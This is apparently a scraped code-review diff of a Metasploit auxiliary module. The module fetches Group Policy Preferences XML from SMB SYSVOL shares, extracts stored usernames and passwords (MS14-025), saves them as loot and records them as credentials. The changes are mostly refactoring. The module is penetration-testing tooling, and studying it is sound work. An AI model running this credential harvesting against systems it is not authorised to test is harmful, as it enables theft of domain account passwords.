7
7
require 'rex/parser/group_policy_preferences'
8
8
9
9
class Metasploit3 < Msf ::Auxiliary
10
- include Msf ::Exploit ::Remote ::SMB
11
10
include Msf ::Exploit ::Remote ::SMB ::Client ::Authenticated
12
- include Msf ::Exploit ::Remote ::DCERPC
13
-
14
- # Exploit mixins should be called first
15
11
include Msf ::Auxiliary ::Scanner
16
12
include Msf ::Auxiliary ::Report
17
13
@@ -35,18 +31,18 @@ def initialize
35
31
] ,
36
32
'References' =>
37
33
[
34
+ [ 'MSB' , 'MS14-025' ] ,
38
35
[ 'URL' , 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)' ] ,
39
36
[ 'URL' , 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html' ] ,
40
37
[ 'URL' , 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx' ] ,
41
- [ 'URL' , 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/' ] ,
42
- [ 'MSB' , 'MS14-025' ]
38
+ [ 'URL' , 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/' ]
43
39
] ,
44
40
'License' => MSF_LICENSE
45
41
)
46
42
register_options ( [
47
43
OptString . new ( 'SMBSHARE' , [ true , 'The name of the share on the server' , 'SYSVOL' ] ) ,
48
44
OptString . new ( 'RPORT' , [ true , 'The Target port' , 445 ] ) ,
49
- OptBool . new ( 'STORE' , [ false , 'Store the enumerated files in loot.' , true ] ) ,
45
+ OptBool . new ( 'STORE' , [ true , 'Store the enumerated files in loot.' , true ] )
50
46
] , self . class )
51
47
end
52
48
@@ -79,7 +75,7 @@ def check_path(ip, path)
79
75
end
80
76
end
81
77
82
- def report_creds ( ip , user , password )
78
+ def report_creds ( ip , user , password )
83
79
service_data = {
84
80
address : ip ,
85
81
port : rport ,
@@ -88,7 +84,7 @@ def report_creds(ip,user, password)
88
84
workspace_id : myworkspace_id
89
85
}
90
86
91
- new_user = user . sub ( /\s +.*/ , '' )
87
+ new_user = user . sub ( /\s +.*/ , '' )
92
88
first , rest = new_user . split ( /\\ / )
93
89
if first && rest
94
90
domain = first
@@ -115,7 +111,6 @@ def report_creds(ip,user, password)
115
111
116
112
login_data = {
117
113
core : credential_core ,
118
- access_level : "User" ,
119
114
status : Metasploit ::Model ::Login ::Status ::UNTRIED
120
115
}
121
116
@@ -125,21 +120,22 @@ def report_creds(ip,user, password)
125
120
def parse_xml ( ip , path , xml_file )
126
121
mxml = xml_file [ :xml ]
127
122
print_status "Parsing file: \\ \\ #{ ip } \\ #{ datastore [ 'SMBSHARE' ] } \\ #{ path } "
128
- filetype = File . basename ( xml_file [ :path ] . gsub ( "\\ " , "/" ) )
123
+ file_type = File . basename ( xml_file [ :path ] . gsub ( "\\ " , "/" ) )
129
124
results = Rex ::Parser ::GPP . parse ( mxml )
130
- tables = Rex ::Parser ::GPP . create_tables ( results , filetype , xml_file [ :domain ] , xml_file [ :dc ] )
125
+ tables = Rex ::Parser ::GPP . create_tables ( results , file_type , xml_file [ :domain ] , xml_file [ :dc ] )
126
+
131
127
tables . each do |table |
132
- print_good table . to_s
128
+ print_good ( table . to_s )
133
129
end
130
+
134
131
results . each do |result |
135
132
if datastore [ 'STORE' ]
136
- stored_path = store_loot ( 'windows.gpp.xml' , 'text/plain' , ip , xml_file [ :xml ] , filetype , xml_file [ :path ] )
133
+ stored_path = store_loot ( 'windows.gpp.xml' , 'text/plain' , ip , xml_file [ :xml ] , file_type , xml_file [ :path ] )
137
134
print_status ( "XML file saved to: #{ stored_path } " )
138
135
end
139
136
140
137
report_creds ( ip , result [ :USER ] , result [ :PASS ] )
141
138
end
142
-
143
139
end
144
140
145
141
def smb_download ( ip , path )
@@ -151,15 +147,16 @@ def smb_download(ip, path)
151
147
152
148
path_elements = path . split ( '\\' )
153
149
ret_obj = {
154
- :dc => ip ,
155
- :path => path ,
156
- :xml => data
150
+ :dc => ip ,
151
+ :path => path ,
152
+ :xml => data
157
153
}
158
154
ret_obj [ :domain ] = path_elements [ 0 ]
159
155
160
156
parse_xml ( ip , path , ret_obj ) if ret_obj
161
157
162
158
fname = path . split ( "\\ " ) [ -1 ]
159
+
163
160
if datastore [ 'STORE' ]
164
161
path = store_loot ( 'smb.shares.file' , 'application/octet-stream' , ip , data , fname )
165
162
print_good ( "#{ fname } saved as: #{ path } " )
0 commit comments